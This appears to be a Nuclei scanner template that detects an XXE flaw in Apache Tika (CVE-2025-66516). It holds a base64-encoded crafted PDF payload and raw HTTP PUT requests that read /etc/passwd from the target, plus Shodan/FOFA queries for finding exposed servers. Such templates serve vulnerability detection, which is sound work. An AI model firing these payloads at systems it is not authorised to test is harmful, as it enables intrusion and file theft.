id: CVE-2025-66516

info:
  name: Apache Tika - XML External Entity Injection
  author: MathematicianGoat
  severity: high
  description: |
    Apache Tika tika-core (1.13-3.2.1), tika-pdf-module (2.0.0-3.2.1), and tika-parsers (1.13-1.28.5) contain an XML External Entity injection caused by processing crafted XFA files inside PDFs, letting attackers perform XXE attacks remotely, exploit requires crafted PDF input.
  impact: |
    Attackers can exploit XXE to read local files or cause denial of service, potentially exposing sensitive information or disrupting service.
  remediation: |
    Upgrade tika-core to \u003E= 3.2.2 and ensure tika-pdf-module and tika-parsers are updated to latest versions.
  reference:
    - https://github.com/chasingimpact/CVE-2025-66516-Writeup-POC
    - https://nvd.nist.gov/vuln/detail/CVE-2025-66516
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 9.8
    cve-id: CVE-2025-66516
    epss-score: 0.79807
    epss-percentile: 0.99558
    cwe-id: CWE-611
  metadata:
    max-request: 2
    verified: true
    shodan-query: title:"Apache Tika"
    fofa-query: title="Apache Tika"
  tags: cve,cve2025,apache,tika,xxe,pdf,lfr

variables:
  passwd_payload: "JVBERi0xLjcKJeLjz9MKMSAwIG9iago8PCAvVHlwZSAvQ2F0YWxvZyAvUGFnZXMgMiAwIFIgL0Fjcm9Gb3JtIDUgMCBSID4+CmVuZG9iagoyIDAgb2JqCjw8IC9UeXBlIC9QYWdlcyAvS2lkcyBbMyAwIFJdIC9Db3VudCAxID4+CmVuZG9iagozIDAgb2JqCjw8IC9UeXBlIC9QYWdlIC9QYXJlbnQgMiAwIFIgL01lZGlhQm94IFswIDAgNjEyIDc5Ml0gL0NvbnRlbnRzIDQgMCBSID4+CmVuZG9iago0IDAgb2JqCjw8IC9MZW5ndGggMCA+PgpzdHJlYW0KZW5kc3RyZWFtCmVuZG9iago1IDAgb2JqCjw8IC9GaWVsZHMgW10gL1hGQSA2IDAgUiAvTmVlZEFwcGVhcmFuY2VzIHRydWUgPj4KZW5kb2JqCjYgMCBvYmo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gpzdGFydHhyZWYKMTMxNQolJUVPRgo="

http:
  - raw:
      - |
        PUT /tika HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/pdf

        {{base64_decode(passwd_payload)}}

      - |
        PUT /tika HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/pdf

        {{base64_decode(canary_payload)}}

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: regex
        part: body_1
        regex:
          - "root:.*:0:0:"

      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains_any(body_2, "FileNotFoundException", "No such file")'
        condition: and

    extractors:
      - type: regex
        part: body_1
        group: 1
        regex:
          - 'data:\s*(root:x:0:0:[^\n]+)'
# digest: 4a0a0047304502203bb18de14dc5c8ab53414e3406858cf4b276d4458fd7fad1e558a13c664c4a17022100ae0df1bf03bea6225ff6a422fab005f93b0e68b28b0553788d593d8d76c1225f:922c64590222798bb761d5b6d8e72950